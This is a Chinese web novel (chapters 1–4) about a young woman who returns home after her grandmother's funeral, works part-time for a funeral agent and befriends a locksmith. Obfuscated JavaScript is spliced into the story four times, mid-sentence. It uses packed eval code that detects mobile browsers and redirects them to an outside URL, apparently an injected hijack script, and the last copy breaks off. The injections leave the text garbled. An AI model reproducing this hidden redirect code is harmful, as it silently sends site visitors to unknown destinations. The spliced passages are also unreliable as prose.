《沿着废弃铁轨追逐日落》 1. 女风水师 无论天气多么晴朗，一走进墓园的大门，周围立刻变得阴冷起来。几座小办公楼投下的阴影就像一片湿润的玻璃罩，将明亮的阳光隔绝在外。 孟至坐在墓园的凉亭里，看着眼前来往的人群。亭外绿树环绕，色调苍翠浓郁，十分森然。几只仙鹤雕塑单腿立在草丛中，象征着逝者驾鹤西去，已登极乐，在她看来这雕塑款式比较一般，不太庄重。 姥姥的葬礼已经结束。一位丧葬师傅带着他们从头到尾跑流程，此刻他正忙着从斜挎兜里掏出一瓶白酒，倒在每个人的手上，大家胡乱搓了一把。接着是分饼干，每人一片太平牌苏打饼。最后，孟至被分配了一根布条，在师傅的指点下挂到树枝上，一切都结束了。 孟至对这位中年矮胖男子说：“谢谢了，大哥，要是没你帮着跑，我们自己都蒙了。” 在生命的最后几年里，孟至的姥姥住在本地一家大型养老产业园区，一室户套间，设施相当完善。园区自带医院，老人后期一直病重住院，直到某日凌晨两点，医护人员发现老人过世。这位丧葬师傅，就是养老院那边协助联系的。 师傅夜里出车抵达现场，前来拯救茫然无措的家属。开具死亡证明，换衣净容，起灵装车，运至墓园，办理冷藏手续，开光祝祷，到今天出殡，每个环节都由他一手帮办。 此刻收到孟至的致谢，那师傅摆着手，庄严地说：“这就是我们丧葬工作者的职责。”说完，还微微闭眼点头。 在他身后，孟至的二姨姥在追忆往昔峥嵘岁月，又强烈暗示孟至的母亲忙于工作，没有亲手照料老人。 刘校长升为重点中学的一把手以后，日程排得密不透风，今天出席告别仪式时，手机还不停地响铃。她费了半天口舌，跟自己二姨解释，语调激昂，如同对全校职工训话。但双方鸡同鸭讲，局势十分焦灼，本就焦头烂额的刘校长益发力不从心。 丧葬师傅适时地过来对刘校长说：“大姐，你该忙啥忙啥。”他又看了看孟至身后的朴素沉默大爷，用一种温柔而深沉的语气说：“这位是大姐的司机吧？快送大姐回单位去吧。” 朴素大爷搓着手，谦卑地说：“也不全是，我是她爱人，孩子她爸。” “……”师傅立刻改口，“大姐夫啊。” 老孟虚扶着刘校长的手臂走远了，人群也鸡飞狗跳地散去。办妥所有事宜后，孟至又在墓园坐了一会儿。 八月中旬，立秋已过，黑土地进入秋天，夜里要盖棉被睡觉，和南方截然不同。几天前，她还在珠三角扮演职场精英形象，接到家里的电话后，当天飞回老家，一身标签好像都留在了云层中。她的名字是姥姥起的，取的是“一梦至长安”的寓意，又象征着虽远必至，意蕴无穷。 如今祖父母辈四个老人都不在了。孟至想起小时候姥爷对她说，如果老一辈全都去世了，父母头顶上就没人了，就像一棵白菜，外面的老白菜帮剥落，露出里面的芯。 她突然感到心惊胆战。接着她掏出手机，向团队长发出通知，宣布自己要辞职回到C市，之后会回去办妥手续。 孟至在珠三角念的大学，毕业后进了当地一家外资寿险，干了几年保险销售。起初她拿着团队分给她的孤儿单，后来出入各种沙龙活动招揽新客。每逢校友会举办活动，孟至也会翩然而至，挨个添加微信。她像开疆拓土一样扩建着统治区，她的保单越卖越多。 她有一头茂密的长发，染成深酒红色，烫过之后反复修剪了几次，波浪卷弧度自然，非常舒展。每次她去总部职场时，总会到工区转一圈，带着懒洋洋的迷人微笑，跟内勤同事闲聊几句，这一头红色卷发是她的经典标志，离很远就能看到。 大家看见远处漂浮着一头红发时，不但不会吓得逃跑，反而喜欢凑过来聊天。孟至虽然做销售，但从不主动催同事买保险。别人向她咨询，她就用大白话如实解释合同条款和利益演示，别人不问，她也不会拐弯抹角地提。有时听说谁有麻烦事，她还会顺手帮点小忙。 另一个销售也偶尔去内勤区晃悠，这人作风奔放，过于热情，有时人家还在开会，她就把人抓走了，说要给人介绍对象，把周围一圈人看得眼睛都直了。孟至此后更加注重分寸，以文火慢炖的形式吸引潜在客户。 现在将要回到老家谋生，个险代理人不能异地展业，从前的客户资源都留在了珠三角。然而，从十八岁离家到现在，老家竟已没有任何朋友，更没有熟悉的校友圈子。想到一切要从头再来，或许还要依靠家里的人脉，孟至忽然心灰意冷，浑身的力气都被抽走了。 她极目远眺，突然一筹莫展。回到老家似乎是一场放逐与流浪，她无法对老家的生活提起任何兴致。她需要尽快找一份临时工作，还需要重新认识这个城市。 左看右看，孟至看中了丧葬师傅的背影。她听见自己的心在说：管他呢，瞎搞吧。 她走上前去，拍了拍师傅的肩膀：“哥，我想打听一下，你还招助理不？” 这大哥往后一仰：“我这就是个体户，要啥助理？再说我有个合伙人，就是开车运送遗体的那个司机，他是我小舅子。” 孟至继续说：“我看你忙起来要同时跑好几家的手续，不知缺不缺帮手？要不我来你这儿实习吧。” 师傅迷惑地挠着后脑勺，仔细看了一眼孟至：“你这丫头，长得还挺俊，愿意在火葬场里跑？” 孟至动之以理：“师傅，你要是哪天忙不过来，可以叫我跑腿，平时我不来。我直接挂个咸鱼链接，咱们按次下单。” 师傅显然被这种互不捆绑的合作模式打动了，他今天跑得晕头转向，差点把一家的骨灰交给另一家，几乎令两家认错祖宗。他沉吟片刻，说：“去养老院拉逝者，这活得24小时待命，还是我跟我小舅子来吧。” 孟至心中一清二楚，这是怕她跟养老院联系密切，将来私自截取客源。于是她主动避嫌：“没问题，还有墓园这边的火化申请，可能也得你们去对接，我谁都不认识呀。” 果然，师傅痛快答应了：“嗯呐嗯呐。” 约定初步达成，师傅告诉孟至，她的作业范围就在墓园里，此岗位是纯白班，和事业单位一个作息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419247|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老孟的电话打了进来，问孟至今天几点回家。他在电话里唠唠叨叨地说：“我一会儿开始做饭，你妈得今晚八点半能到家。”那语气就像是女霸总的小娇夫。 孟至想自己静一会儿，就说：“爸，我还是回我自己的公寓住吧。再说我约了换锁师傅，今天下午过来安电子锁。” 老孟似乎欲言又止：“那你回吧。” 孟至搭乘地铁，换两趟线，共计十几站后下车。她走过一片绿树花园，回到自己那套小公寓，一进门差点晕厥，这才明白老孟为何方才语气犹疑。 只见客厅里异彩纷呈，一个硕大的皇冠型长条靠枕横亘在地上，色彩粉嫩，占据了快一面墙的长度。靠枕下面铺着一张阿拉伯还是波斯风格的地毯，红色暗花，图腾复杂，款式老旧。该组合十分另类，土不土洋不洋，就像一铺大炕。 孟至又进卧室看了一眼，里面摆着木头柜子和桌子，都是当年请木匠手打的，个个豁牙漏齿，年纪比孟至还大。她头疼地抽了一口气，知道这又是刘校长的杰作，把她的公寓当成怀旧仓库了。那些歪瓜裂枣的家具让她想起老一辈。尘埃落定，葬礼的阴森气息环绕上来，孟至蹲在地上掉了几滴眼泪。 正当她哭得投入时，手机突然进了一条短信，说换锁的方师傅正在来的路上，请客户注意接听电话。接着果然电话来了。 留在老家的年轻人已经不多，孟至幻想出一个精神矍铄的开锁大爷的形象，类似小区里修房顶的物业师傅。孟至摁下接听键，深呼吸两次，猛然开嗓，声音稳健而充满敬意：“喂，师傅，我现在就下来接您。” 想不到电话那头的声音十分年轻：“你好，我开进小区了，正在跟着导航找你的楼，是十栋吧？” 孟至听着耳边低沉温柔的声音，心想这换锁师傅的声音还挺嫩，不知干活手艺行不行？她从地上爬起来，对着电话大声说：“没事师傅，小区车道是单行的，我下来迎迎你。” 那边却说：“没事，你不用下来接我了，我们加个微信，我开摄像头照一下路线，你看看对不对。”听那意思是非常贴心，不让客户受累下楼。 孟至没再坚持，一键通过好友申请。视频连线后，孟至的镜头对着地板。那边打开后置摄像头，一辆车的中控台出现在画面中。接着镜头上移，照着车前的路，两边的楼看起来大同小异。孟至辨认了一会儿，尴尬地说：“不好意思，太久没回家，认不出这是哪段路了。” “没事，那咱们开一下实时位置共享就行了。” 共享定位后，仍旧不见师傅上楼，孟至只能出门迎接。她对着穿衣镜拢了一把头发，镜子里倒映出一个高挑的身影，红眼睛，红鼻头，与红色长发相映成趣。但那张脸看起来面容姣好，就像不小心安在了一身葬礼服饰上。 她把手臂上的孝子袖章摘下来，往鞋柜上一扔，无精打采地拉开门。 门外立着一个庞然大物，挡住了她的视线。那东西投下来的阴影，把她整个覆盖了。她疑惑地抬起头，发现眼前站着一个异常俊美的年轻男孩，正低头看向她。 2. 换锁的他 有那么一秒钟，孟至好像被眼前的美丽画面吸引，暂时忘记了世事烦恼。她斜倚在门边，露出懒洋洋的微笑：“小方师傅，你好。”她觉得这位开锁老师如果是技校毕业直接上岗，应该比她年纪小。 方师傅的目光在她脸上停留了片刻，又不动声色地掠过她撩头发的手，然后微微一点头：“你好。” 考虑到自己刚才把他当成耳背的开锁大爷，在电话里大呼小叫，孟至主动解释道：“方师傅，我这里刚才信号不好。” “恩。”他抿嘴一笑，卸下肩头的工具箱，放在走廊地面上。孟至这才发现他穿着一身深蓝色工装制服，夹克上好几个兜，裤子上也好几个兜，衣服和裤腿都蹭了点灰。 整套衣服风格粗犷，穿在他身上却非常板正，尽显宽肩窄腰、笔直长腿。孟至低头去看工具箱，又留意到他穿着白晃晃的鞋，刷得比墙壁还干净。 趁着他排布工具的空档，孟至说：“方师傅，你稍等，我去给你拿瓶水。”说着噔噔噔跑进厨房。她暗中分析此人的外形和气质，特意拿了一瓶甜美草莓味牛奶递给他。 方师傅嘴角微微浮动了一下，接过来说：“谢谢，我就喜欢这个。” 孟至爽快地说：“别客气。” 两人面面相觑地站着，一时间空气陷入寂静。方师傅出声提示道：“你订的锁呢？” 孟至噢了一声，这才知道那锁体已经由快递师傅送上门了，不是由这位方师傅带过来。她一步跨出门去，猫腰在门外小柜里翻找着：“这柜子是平时用来放快递的……哎，怎么积压了这么多包裹？这怎么还有一筐鸡蛋？” 像刨坑一样刨了一会儿，总算找到了智能锁的包裹。方师傅三下两下拆开纸盒，拿新锁在门板上比量着，低声问道：“你不常在家？” 孟至说：“以前在外地，现在回老家发展了。” 方师傅开始操作电钻。滋滋几声，旧锁的螺丝都被拆除。他换上电锯，犹豫了一下，用很轻的声音问道：“那你是做什么的？” 他没有看向孟至，似乎为自己的提问感到唐突，又似乎担心孟至说自己是电影明星或者女企业家，日薪是开锁的数倍。 孟至斟酌着说：“我以前是做寿险的。”现在是做阴阳法事的。 方师傅不再接话，开始摆弄电锯。 孟至以前从来不知道换锁还要用电锯。她等着观看方师傅的操作手法，顺便又看了几眼他的俊脸。脸面窄长，棱角分明，从各个角度看都十分精致。 方师傅举起电锯，看孟至一眨不眨地盯着它看，就说：“这个会有火星，一会儿你别害怕。” 说着他一摁开关，开始切割门板侧面的机关。看来是防盗门款式老旧，必须重新打造那些孔隙，使之适合新的锁体。橘红色火星四射，就像一场小型烟花秀。 孟至好奇地问：“你不戴面罩和手套吗？万一火星子崩到眼睛或者皮肤上呢？” “我嫌麻烦，一般不戴。”方师傅举了一下电锯，“电影里的杀人狂，一般就是用这个犯罪的。” 孟至哼哼一笑。 锯了半天，他忽然眨了一下长睫毛，自言自语道：“哎，好像真的掉到眼睛里了，让你说中了。我平时很少被火花烫到的。” 听他的口吻，好像是孟至让火星跳进他眼睛里的。但孟至还是凑过来看了一眼：“严不严重啊？” 近距离一看，方师傅眉骨凸出，两眼深邃，双眼皮如同上扬的波纹。看得她有感而发：“你眼睛真好看，可别烫坏了。” 方师傅看起来完全不知道怎么接话，于是手上加快速度。孟至看他半跪了半天，就说：“要不要拿个小板凳给你？” 他抬头看了一眼孟至，似乎在淡淡地笑着。接着他低头看着电锯，一扬眉说：“不要。” 这个清冷的年轻人笑起来时，就像雨季突然放晴，尽管他浅淡的笑意转瞬即逝。孟至看着他，脑海中很想搜寻出云销雨霁、彩彻区明之类的古文，可惜自己是理科出身，未能成句。 方师傅站起身来，把新锁体嵌到门上。然后他一手扶锁，一手举起电钻，把螺丝一个一个打上去。打到某一处，螺丝突然受阻，只能重新加工锁洞。 他对孟至淡淡地一笑：“我已经在你这里停留了太久。” 不等孟至答话，方师傅启动电钻，怼住那颗难搞的螺丝，猛地把整个身体的力量压上去，手指关节泛出白色。他的袖子卷上去半截，露出来一段手臂，青筋暴突，肌肉隆起。 孟至看着他瘦长的身体，宽松的工装下面，隐约能看出身板的厚实程度。她暗自赞叹这钻头真结实，能承受住这一尊体格的施压？ 接着他抬起头，一脸无辜地说：“工具，好像坏了。” “……”孟至走过去看着那把电钻，“能修好吗？”她没好意思直接问，那我家这把锁安完了没有？ 他翻来覆去看着电钻，搓了两把，说：“还好，你家的锁已经安完了。” 孟至放心地说：“好嘞。” 她以为方师傅该收拾工具，打道回府。想不到他就站在孟至家门口，不慌不忙地修起电钻来。孟至这才意识到自己反应冷漠，于是关怀备至地看着那把电钻，使自己参与其中。 方师傅蹲了下来，把地板当成工作台，继续手搓电钻。孟至蹲在他旁边，双手捧脸做花朵状，半真半假地说：“光按摩可不行啊。” 方师傅的耳朵有点发红。他掏出手机，拨打视频电话：“跟老师傅讨教一下。” 视频接通，他用后置摄像头拍摄钻头，对面的老师傅不停指点，让他拧松钻头，再摁开关，让它转起来试试。 按照老师傅的办法，方师傅又拧又转，又拆又卸。孟至一边充当人肉支架，一边分心去看方师傅的手，那手十分修长，骨节分明。于是她神不知鬼不觉地在视频中截图，接着才想起来这不是自己的手机，只好假装无事发生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419248|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最后方师傅宣布放弃：“算了，我去小区物业借个工具，先把下午另一家的活做完。” 孟至把手机还给他，像地陪一样招呼道：“走，我陪你去物业。” 他忧郁地拎着电钻，被动地说：“会不会太麻烦你？我自己去也没事的。”孟至刚想说别客气，突然隐约听见自己的手机响了。 于是她脆生生地说：“好，那我就不陪你啦。” 方师傅好像噎了一下，眨了一下眼睛才说：“恩，好的。” 孟至把他送到电梯，他在楼道里还在给同事打电话：“姐，那个零件再给我发几件，我手里备着，来需求了就能直接安了……”听起来对工作相当有规划。 孟至对他展颜一笑，意思是小伙子办事很有谱，果然各行各业的人，都有能力高低之区分。 电梯门关上之前，她发现方师傅凝视着她的笑脸，目光极具穿透力。但她顾不得那么多了，她飞奔回屋里，接起那个响了两遍的电话。原来是团队长打来的，问她是不是真要辞职。 刚挂断电话，手机又响了起来。这次是发小打来的视频电话。孟至松了一口气，盘腿坐在盗版波斯地毯上，背靠巨型皇冠。 屏幕上出现一张英气勃勃的女性面孔，正忧心忡忡地看着她。孟至先开口了：“没什么事，该办的都办完了。” 发小在国外居住多年，妆造越来越向ABC靠拢，日常昵称也改为乔姆斯基，简称斯基。斯基没再提孟至姥姥的事，转而面向未来：“你跟你领导说了要辞职了？真不回南方了？” “不回了。”孟至摇摇头说，“再说近半年本来也不好做，现在监管要求寿险公司报行合一，上报的费用和执行的费用要一致，所以给我们的佣金率下降了。” “行啊，接下来准备干啥？” 孟至向她宣布：“我当上风水师了。” “？” 她解释道：“丧葬一条龙服务，为万千家庭提供援助和依靠。但我觉得风水师听起来更厉害。” “明白了，就是跑火葬场。”斯基点头表示赞成，“你可以干这个，你胆大……” “先临时干着，主要是不想托家里的关系卖保险。” “那当然了，欠人情最难还。”斯基分析道，“你要是在老家卖保险，一开始肯定靠刘校的人脉。再说欠了人情，就可能被人拿捏。” 孟至点头称是，出神地想了一会儿。她已经开始怀念自己叱咤一时的寿险顾问形象。 放下电话后，孟至无所事事。站在十五楼的窗前向下看，城市像一片微观模型。与十几年前相比，无论是近处的楼房，还是远处的街道，都没有任何变化。这里的发展停滞不前，城市似乎陷入沉睡。 接着她振作起来，觉得要尽快结识新的朋友。她想到了刚才的方师傅，尽管两人背景不同，但他注重个人卫生，性格软糯，会修锁，会玩电钻，似乎是日后一个不错的朋友人选。 3. 法师见习生 孟至头戴一顶黑色渔夫帽，红发在后脖颈盘成一个发髻，藏在帽檐下面。她大步穿过半个墓园，拐进九曲长廊，一路走到凉亭。丧葬师傅从柱子后面冒出来，看了一眼手表，冲她点点头：“到时候了。” 师傅打头，孟至殿后，两人往一座小楼走去。孟至边走边征求意见：“我是管你叫师父还是潘哥？”师傅略加思索，说：“青龙师兄。” “行，青龙师兄，”孟至爽快地说，“你小舅子是白虎师兄？”问完才想起来，本地顺口溜说左青龙，右白虎，中间夹个二百五。她成二百五了？ 青龙师兄说：“我平时的爱好是研究道教，我们都有法号。” 孟至客气地说：“挺好的，做白事行业，有个法号听着让人信服。” 走进小楼，走廊里一片冷色调，孟至觉得浑身直冒凉风。青龙师兄径直走向一间屋子，轻轻敲门，推门而入，里面是几个家属。中央一口棺材，周围装点得花团锦簇。 青龙师兄先走到棺材边，欠身看着里面的逝者，端详半天，长叹一口气，闭眼反复摇头，尽显惋惜之情，就好像他认识人家一样。然后他直起腰来，沉痛地对家属说：“准备开光吧，一会儿你们跟着我念，我说一句你说一句。” 孟至站在他身后半步远的位置，保持着肃穆的神色。 棺材被抬到地上，青龙师兄示意这户人家的长女跪在棺材旁，自己也跪在她旁边，用一支笔点着逝者身上的各处，同时飞速念道： 开眼光，亮堂堂，穿云破雾望四方。 开鼻光，闻妙香，仙果琼浆任意尝。 开耳光，听八方，仙乐佛音耳边扬。 开嘴光，吃四方，山珍海味肚里装。 …… 他的声音没有抑扬顿挫，更无音调婉转起伏，好像在低声交待家里人买菜做饭。这家的长女晕头转向地跟着念，偶尔没听清，就问：“啊？”然后青龙师兄会重复一遍。 孟至出神地看着，她想起姥姥出殡那天也是这样开光的，一套流程下来让人眼花缭乱，应接不暇，暂时忘记了悲痛。 而当年孟至的姥爷去世时，没有找白事先生操办，是墓园的工作人员领着刘校念的这套词。当时那小姑娘穿着殡仪馆制服，迅速地开完这份光，又奔赴下一处，在阴森的氛围中穿梭自如，仿佛死与生已经泯灭了界限，不过是一回事而已。 由于家属不举办告别仪式，青龙师兄直接去递交了火化申请。这类白事先生的实质是中介，跟窗口的工作人员都认识，墓园会给青龙预留空档，使得他客户的排队时间低于平均水平。 孟至留在家属中间，低声对那家的长女说：“节哀。后续还有些手续，现在先休息一下吧。”长女无力地坐了下来，其余几个子女在尖锐地争吵。孟至先往他们手上倒白酒，再用苏打饼干占据他们的口腔，争吵声终于暂时平息。 过了正午，墓园的人群逐渐稀疏起来。家属还在等待着骨灰出炉，青龙师兄叫孟至先回去，他本人会留下来收尾。 末了，他向孟至伸出右手，郑重地说：“恭喜试用期通过了。” 孟至跟他握了握手，觉得自己当年卖出去一份保险都没有这么隆重，何况今天这试用期还是不给钱的。 走出墓园，街上烟雾弥漫。附近小胡同里都是烧纸的地方，路边是一家挨一家的香火店，门口放着金车银马的样品，在阳光下栩栩如生。 孟至一直走出这片街区，才摘下渔夫帽，浑身上下拍了一遍灰。然后她从裤兜里掏出墨镜带上，一甩头发，坐地铁往市区里去了。 据说有些人内心敏感，每次一去阴冷的墓园，回来必定会头疼脑热。孟至在墓园呆了大半天，甚至还超度了亡灵，却依然精神状态良好。 列车在地下疾驰，窗外广告牌飞速后退，形成科幻般的光束。她看到玻璃上自己的倒影，骨架匀称，个高腿长，穿着灰色长袖和黑色长裤，速干面料，款式修身。夸张的墨镜和口罩，完全覆盖了她的面孔，使她看上去神秘而显眼。 下了地铁，孟至站在路边看了半天。天高云淡，阳光照耀着各大连锁奶茶店、咖啡店、冷饮店。最后她晃进一家不起眼的小门脸。门上挂着褪色的牌子，上书：部落格。 柜台后面摆着几个瓶瓶罐罐，色彩各异。孟至说要香芋味的，老板娘就打开紫色玻璃罐冲了一杯，还免费赠送五个珍珠。 塑封的透明塑料杯里装着浅紫色饮料，五个黑珍珠沉在杯底。孟至插上吸管，猛喝一口，发出一声满足的叹息。如今卫生知识普及，她知道这种奶茶不健康，只允许自己每个月喝一次，有时候月底31号喝一次，次日1号喝一次，严格遵守原则。 以前上学时，孟至经常请朋友去学校后街，喝这种老式速溶奶茶。结果凡是喝过她奶茶的人，后来基本都去外地工作了，或者像斯基一样远赴重洋，攻读博士学位。她的茶仿佛有魔咒，能为世界各地输送人才。 接着她突然想起开锁的方师傅。昨天方师傅走后，她本来想问问他借到工具没有，结果后来忙着把公寓收拾得能住人，一下给忙忘了。 她点开方师傅的聊天框，才发现他的名字叫方铭，头像是黑白漫画。她嗖嗖发出去一条：“你后来跟物业借到工具了吗？” 想不到方铭立刻就回复道：“没有借到，后来先回公司换了一把电钻，才去的下一家。” 孟至问：“物业没借给你吗？” 那边一五一十地回答：“可能因为他们不认识我。其实事情很简单，他们只要借我一把电钻，或者借我一套修电钻的工具就可以了。” 孟至替他打抱不平：“真是的，借一下都不行啊。” 方铭隐忍地说：“没关系，或许他们有规定，不能随便借陌生人工具。”孟至几乎能想象到他忧郁而凛冽的眼睛里，有前苏联的雪花缓缓飘落。 她又问：“那你去下一户没迟到吧！” “还好，我每次约时间都会多留一点空档，作为缓冲。”方师傅回答得特别认真，就像孟至在面试他。 孟至发了个动画表情，作为对话的结尾。接着老孟的电话打了进来，他让孟至今晚回去吃饭，还说孟至姥姥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419249|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚走，她怎么也应该陪陪刘校。 带着凝重的心情，孟至登上一辆开往父母家的公交车。这老车有些年头了，还开得很猛，一路飞驰，东倒西歪，叮咣作响，车身几乎都要散架了。 等到下了车，孟至已经彻底晕车，无精打采地进了家门。 刘校长今天回来得早，正在对新近实行的体育考试制度发表意见。老孟把菜一盘一盘端到桌子上，然后施施然落座，还穿着碎花围裙。刘校长宣布开饭，一家人默默端碗，各自舀自己爱吃的菜。 孟至随口说了一句：“现在体育也算成绩啊？幸亏我生得早，我一个俯卧撑都做不了。” 刘校长说：“我能。”说着就突然放下筷子，起身到旁边空地上，做了几个标准俯卧撑，全情投入，旁若无人。 等她回到餐桌，好像突然注意到孟至的存在，于是像领导一样发问：“你这几天干什么了？” 干什么了？刚从火葬场回来，当阴阳先生去了。这当然不能说，孟至只能含糊地回答：“跟个朋友一起在外面跑业务，看看能不能做点兼职。” 刘校长面色严肃，追问道：“什么业务？” 孟至想了一下，说：“长者服务。”逝者为大，所以不管多大岁数都是长者，也没说错吧？ 刘校长皱起眉毛，但也没再过问，可能以为孟至在做轮椅、拐棍、老年健步鞋之类的。老孟面向刘校长，语气诚恳，音调婉转：“孩子不想靠着家里的关系，你就让她自己干去吧，有谱了自然就跟咱们说了。” 孟至说：“对，我现在还在这个……初创阶段。” 刘校长喝完一碗汤，往后一靠，疲惫地长叹一声。孟至立刻后背起了一层鸡皮疙瘩，这声叹息一般代表着批斗大会的启动。 果然，刘校长开始讲述孟至的姥姥姥爷当年多么不负责任，说他们忙着互相打架，自己只能去邻居家吃百家饭、睡百家床，以及其余一百件不堪的辛酸往事。最后再用一句话收尾：“你姥姥姥爷该照顾我的时候、该教育我的时候，是一点都没伸手！后来你姥姥进养老院，你二姨姥还嫌我不常去看她，你说我会想去看吗？” 像往常一样，她把女儿当成唯一的听众。 老孟插嘴说：“先别说了，让孩子吃饭吧。” 孟至已经完全没有胃口了。这时老孟说，听说参加完葬礼要刷车，要不然不吉利。孟至就立刻跟着他出去刷车了。 夕阳将要落下时，他们找到一家洗车店。陈旧的马路上，偶尔有车辆开过，带起一阵尘土。一个老迈大爷慢慢地洗车，收费六十元，洗得十分细致负责。 孟至和老孟坐在旁边看着，两人都一脸苍凉。姥姥的丧事办完了，白色的气息却久久没有散去。天大地大，孟至深感孤独。她不知道自己应该去哪里，正如她不知道下一步该做什么工作。她觉得风水师似乎不是长久之计，她需要思考未来，但又觉得这事不是很急。 直到晚上回到小公寓里，她才发现后来方铭还回复了一句。他针对孟至发的那个表情包，默默地说：“你的表情都很有意思。” 4. 再见老家具 孟至随手回了一句哈哈哈，把手机抛到床上就去洗澡了。浴室里摆了一排彩色鸭子，这是斯基利用3D打印技术制作的一批洗澡鸭，其材质能随温度变色。 上次过年回国时，斯基打印了20只鸭子，企图挂在咸鱼上贩卖，却一只都没有卖出去，只好全都送给孟至。由于太过于寂寞，孟至近期已经开始对着这些鸭子说话。 在清脆的水声里，她向鸭子透露了自己的三个心愿。她希望自己能看清未来，但如果这个愿望太过于宏大，那么还有两个附属愿望：在老家找到一个边走边聊的朋友，在老家找到一个可以漫游的地方。 待到吹干头发、回到卧室，已经是深夜了。孟至看着那些四十年老家具，突然心生一计：能不能求方师傅把这些桌子柜子清运出去？不知他接不接私活？ 于是她划开手机，惊奇地发现方师傅就连那句哈哈哈也回复：“我就没什么好玩的表情，从来没人给我发过。” 孟至直奔主题：“对了方师傅，你会拆家具吗？我这里有些老家具，想请人帮忙拆开扔出去，工费和运费我来出。” 方铭说：“我就喜欢研究老家具，是什么样的，方便拍张照片吗？” 孟至怕那些老家具给人的冲击太大，先到厅里拍了一张皇冠靠枕和盗版飞毯：“先给你热热身，做好心理准备。” 方铭真诚地说：“不过从你这照片里，看不出你家有家具啊。”照片里只有一铺皇冠地毯，四周墙壁都是秃的，像光板一样，真正的家徒四壁。 孟至面部肌肉抽搐，又拍了卧室里的写字台：“看吧，这个桌子好像是榫卯结构的，不是螺丝的，你会拆吗？” 方铭啧啧称奇：“这桌子，有年头了，你这敢趴在上面用力写字吗？” 孟至笑微微地回了一句：“我家的笔挺好使的，不用力也能写出字，可不像你那天打电钻。” 那边发了个苦笑的表情：“干过头了。” 最后是一张破烂书柜和五斗橱的合影。孟至总结道：“还有这两个，一共三件。” 方铭说：“应该可以拆的。”隔了几秒钟，他又补充一句：“其实整个抬下去也可以的，扔到小区里堆放建筑垃圾的地方，由专门的机构来清运。找个男生帮你抬就好了。” 孟至遗憾地说：“可惜找不到人。” “这样啊，一个男生都找不到吗？” “你来了就有一个了。”孟至想起了斯基，如果她回来，两人用些野路子，或许能把这堆东西弄出去。 那边立刻说：“你哪天有空？我过来。” 想到即将要摆脱这些老家具，换上ins博主最爱的奶油风桌椅木柜，孟至在回老家之后第一次感受到久违的期待。 考虑到自己刚通过摆渡人团队的试用期，她先看了一眼日历。本地习俗是七不埋，八不葬，逢七逢八的日子不出殡，白事业务相对不太繁忙。凡是初七、十七、二十七，初八、十八、二十八，青龙师兄的团队能休息半天。 孟至问他：“农历七月十八那天你有空吗？” “可以的，按照你的时间来。” “行，就这么定了。”她以收束式的回答结束了话题，“事成之后姐有重谢。” 方铭疑惑地问：“你很喜欢当姐姐吗？” 孟至心想，那还不是因为你太小了？ 想不到那边又追加一句：“好的，姐姐。” 放下手机以后，孟至摸黑静静躺着，听着窗外知了的叫声。两片淡绿色窗帘还没有合拢，夜空仿佛在俯视这间屋子。她发现月亮的位置每天都在改变。 前两天到了午夜，月亮刚走到东边，现在同样是午夜时分，月亮却接近正中。孟至想了半天，也想不出月亮和地球的方位关系，也许是这栋楼转了个身。 她想起四五岁的时候，夏季有一天夜里，她跟着大人出门，在路边摘了几朵夜来香，回来供在床头。当时屋里没有开灯，她看见窗外的月亮照着大地。大人们都在隔壁房间，他们欢声笑语。现在回想起来，似乎还能听见黑暗中隔壁的谈笑声，那种心情十分安宁。 连孟至自己都没有意识到，回老家后，没有热闹的同业聚会，没有熟悉得如同手足的朋友，没有新奇而小资的浪游去处，她此刻其实孤独寂寞。 接下来几天，孟至每天白天回父母家里收拾姥姥的遗物。青龙师兄叫她去帮忙，她就戴上帽子跑一趟。大多数时候，孟至独自坐在一堆旧物中间，就像路边无人问津的旧货摊主。 阳台角落里扔着一堆破铜烂铁，一开始孟至以为那又是刘校长珍藏的废品。后来她才意识到那是她给姥姥订的特质轮椅，可惜没等组装好，孟至姥姥就病逝了。 这种轮椅结构比较复杂，座位前面安有压力泵，可将瘫痪病人转移到轮椅上，离远看竟然有点像动感单车。当时孟至担心护理员抱不动姥姥，久而久之就不愿意带老太太去厕所，特意订了这种轮椅，最后却一次都没有用上。她把那堆部件装进一个大编织袋里，准备改天运出去送人。 她还找出十几本影集，里面都是老照片，画面从黑白到彩色，人脸也从年轻到年老。老孟把影集拿走， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 